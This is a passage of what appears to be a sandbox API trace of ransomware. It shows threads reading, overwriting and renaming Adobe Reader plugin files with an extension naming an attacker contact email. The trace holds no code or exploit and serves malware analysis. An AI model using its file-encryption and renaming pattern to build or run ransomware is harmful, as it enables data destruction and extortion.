Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x65db5c95 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x14b3ffc4 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x4f583b83 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x104e7289 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x77e9ae5 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x3bd3466d [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x5c6c5ae5 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x4384865 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x159ff5df [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x54b9243b [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x25092aa7 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x7c30a03e [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x3178ccb2 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x1ff8b117 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x33cfb840 [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x5d39e552 [0057.513] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.513] ReadFile (in: hFile=0x23c, lpBuffer=0x5e9f098, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd0bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x5e9f098*, lpNumberOfBytesRead=0xd0bf9dc*=0xc800, lpOverlapped=0x0) returned 1 [0057.514] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c1f8 [0057.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b258 [0057.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0057.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460920) returned 1 [0057.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1963a930 [0057.523] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0057.523] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460998) returned 1 [0057.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0057.523] WriteFile (in: hFile=0x23c, lpBuffer=0x1963a930*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd0bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x1963a930*, lpNumberOfBytesWritten=0xd0bf9dc*=0xc800, lpOverlapped=0x0) returned 1 [0061.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1963a930) returned 1 [0061.299] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xaf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.299] ReadFile (in: hFile=0x23c, lpBuffer=0x5e9f098, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd0bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x5e9f098*, lpNumberOfBytesRead=0xd0bf9dc*=0xc800, lpOverlapped=0x0) returned 1 [0061.301] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xaf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c9d8 [0061.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4189b0 [0061.302] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94a8 [0061.302] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec94a8) returned 1 [0061.302] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19653940 [0061.303] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94a8 [0061.303] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94d0 [0061.303] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec94d0) returned 1 [0061.303] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4189b0) returned 1 [0061.303] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c9d8) returned 1 [0061.303] WriteFile (in: hFile=0x23c, lpBuffer=0x19653940*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd0bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x19653940*, lpNumberOfBytesWritten=0xd0bf9dc*=0xc800, lpOverlapped=0x0) returned 1 [0065.494] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19653940) returned 1 [0065.494] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x151663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.494] ReadFile (hFile=0x23c, lpBuffer=0x5e9f098, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd0bf9dc, lpOverlapped=0x0) Thread: id = 915 os_tid = 0x1228 [0051.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api")) returned 0x20 [0057.299] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api", dwFileAttributes=0x20) returned 1 [0057.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf94 [0057.299] GetFileSizeEx (in: hFile=0xf94, lpFileSize=0x1749feb4 | out: lpFileSize=0x1749feb4*=150115) returned 1 [0057.300] SetFilePointerEx (in: hFile=0xf94, liDistanceToMove=0x24a5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.300] ReadFile (in: hFile=0xf94, lpBuffer=0x1749fe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1749fe34, lpOverlapped=0x0 | out: lpBuffer=0x1749fe38*, lpNumberOfBytesRead=0x1749fe34*=0x4, lpOverlapped=0x0) returned 1 [0057.301] SetFilePointerEx (in: hFile=0xf94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ab0 [0057.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609c0 [0057.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0057.301] NtQuerySystemTime (in: CurrentTime=0x1749fe14 | out: CurrentTime=0x1749fe14*=132174898212756000) returned 0x0 [0057.301] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x1e948540 [0057.301] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x59583bf4 [0057.301] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x3d2a0c6d [0057.301] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x692de87e [0057.301] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x45b7718 [0057.301] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x1ab0bac1 [0057.301] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x15cb771 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x7b88f6b0 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x4066e5cc [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x22c2b66d [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x4e258404 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x4a7a1641 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x212ed82 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x143a8286 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x2348f989 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x45220de8 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x69188670 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x3c7ea96d [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x6f2d7b2f [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x1de9d985 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x5a7bf21f [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x3f181611 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x1a149a01 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x1a0d35c7 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x30e95f1 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x39975c40 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x30a2ac6 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x5bb7dd38 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x61051e14 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x65020910 [0057.302] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0xbe6b78c [0057.452] RtlRandomEx (in: Seed=0x1749fe20 | out: Seed=0x1749fe20) returned 0x2212a047 [0057.464] SetFilePointerEx (in: hFile=0xf94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.464] ReadFile (in: hFile=0xf94, lpBuffer=0x5e86088, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1749fdf4, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesRead=0x1749fdf4*=0xc800, lpOverlapped=0x0) returned 1 [0057.488] SetFilePointerEx (in: hFile=0xf94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c1f8 [0057.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b258 [0057.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ab0 [0057.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460ab0) returned 1 [0057.489] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e92890 [0057.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ab0 [0057.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0057.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460920) returned 1 [0057.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0057.490] WriteFile (in: hFile=0xf94, lpBuffer=0x5e92890*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1749fdf4, lpOverlapped=0x0 | out: lpBuffer=0x5e92890*, lpNumberOfBytesWritten=0x1749fdf4*=0xc800, lpOverlapped=0x0) returned 1 [0061.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92890) returned 1 [0061.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0061.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x4367c8 [0061.299] SetFilePointerEx (in: hFile=0xf94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.299] WriteFile (in: hFile=0xf94, lpBuffer=0x12f4b2d0*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x1749fe74, lpOverlapped=0x0 | out: lpBuffer=0x12f4b2d0*, lpNumberOfBytesWritten=0x1749fe74*=0xff, lpOverlapped=0x0) returned 1 [0062.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0062.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9408) returned 1 [0062.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9480) returned 1 [0062.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4367c8) returned 1 [0062.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460ab0) returned 1 [0062.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4609c0) returned 1 [0062.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4607b8) returned 1 [0062.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460808) returned 1 [0062.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d6e8 [0062.795] wcscpy (in: _Dest=0x40d6e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" [0062.795] wcscat (in: _Dest=0x40d6e8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api.mailto[2Hamlampampom@cock.li].cd46d" [0062.795] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1749fe2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x12cf9258 [0063.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9258) returned 1 [0063.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f120) returned 1 [0063.453] NtQueryInformationFile (in: FileHandle=0xf94, IoStatusBlock=0x1749fe38, FileInformation=0x1749fe10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1749fe38, FileInformation=0x1749fe10) returned 0x0 [0063.453] NtSetInformationFile (FileHandle=0xf94, IoStatusBlock=0x1749fe38, FileInformation=0x1749fe10, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d6e8) returned 1 [0063.454] FlushFileBuffers (hFile=0xf94) returned 1 [0066.205] CloseHandle (hObject=0xf94) Thread: id = 916 os_tid = 0x122c [0051.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api")) returned 0x20 [0057.274] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api", dwFileAttributes=0x20) returned 1 [0057.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe50 [0057.274] GetFileSizeEx (in: hFile=0xe50, lpFileSize=0x175ef9ac | out: lpFileSize=0x175ef9ac*=53347) returned 1 [0057.275] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0xd05f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.275] ReadFile (in: hFile=0xe50, lpBuffer=0x175ef930, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x175ef92c, lpOverlapped=0x0 | out: lpBuffer=0x175ef930*, lpNumberOfBytesRead=0x175ef92c*=0x4, lpOverlapped=0x0) returned 1 [0057.276] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b78 [0057.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b00 [0057.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ab0 [0057.276] NtQuerySystemTime (in: CurrentTime=0x175ef90c | out: CurrentTime=0x175ef90c*=132174898212600000) returned 0x0 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x4948fdd7 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x3e80d26d [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x8bc1f25 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0xa62b6 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x1ff49c89 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0xd5c4172 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x594465ea [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x1000514a [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0xd24f254 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x72f27c4 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x57dc9d35 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x3952ea35 [0057.276] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x5196ddb5 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x5aab4c9f [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x1d00eb34 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x52b4b202 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x6f8be792 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x436468fe [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x157678b4 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x62c5cf28 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x5b296e6f [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0xb4d8d68 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x71eddff2 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x1ac5a6d9 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x5da8591 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x3de1a399 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x1699e4d9 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x384a9663 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x7f5f216b [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x42842efc [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0x505ea752 [0057.277] RtlRandomEx (in: Seed=0x175ef918 | out: Seed=0x175ef918) returned 0xe384fd6 [0057.289] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.289] ReadFile (in: hFile=0xe50, lpBuffer=0x19615118, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x175ef8ec, lpOverlapped=0x0 | out: lpBuffer=0x19615118*, lpNumberOfBytesRead=0x175ef8ec*=0xc800, lpOverlapped=0x0) returned 1 [0057.292] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b78 [0057.292] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b78) returned 1 [0057.293] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e6d078 [0057.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b78 [0057.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ab0 [0057.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460ab0) returned 1 [0057.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.298] WriteFile (in: hFile=0xe50, lpBuffer=0x5e6d078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x175ef8ec, lpOverlapped=0x0 | out: lpBuffer=0x5e6d078*, lpNumberOfBytesWritten=0x175ef8ec*=0xc800, lpOverlapped=0x0) returned 1 [0059.155] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e6d078) returned 1 [0059.155] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19615118) returned 1 [0059.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x460328 [0059.158] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.158] WriteFile (in: hFile=0xe50, lpBuffer=0x449d80*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x175ef96c, lpOverlapped=0x0 | out: lpBuffer=0x449d80*, lpNumberOfBytesWritten=0x175ef96c*=0x103, lpOverlapped=0x0) returned 1 [0062.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0062.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0062.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460300) returned 1 [0062.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460328) returned 1 [0062.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b78) returned 1 [0062.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b00) returned 1 [0062.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a88) returned 1 [0062.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a60) returned 1 [0062.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d898 [0062.789] wcscpy (in: _Dest=0x40d898, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" [0062.789] wcscat (in: _Dest=0x40d898, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api.mailto[2Hamlampampom@cock.li].cd46d" [0062.789] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x175ef924, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x12e2bee0 [0063.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2bee0) returned 1 [0063.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a4988) returned 1 [0063.451] NtQueryInformationFile (in: FileHandle=0xe50, IoStatusBlock=0x175ef930, FileInformation=0x175ef908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x175ef930, FileInformation=0x175ef908) returned 0x0 [0063.451] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x175ef930, FileInformation=0x175ef908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.452] 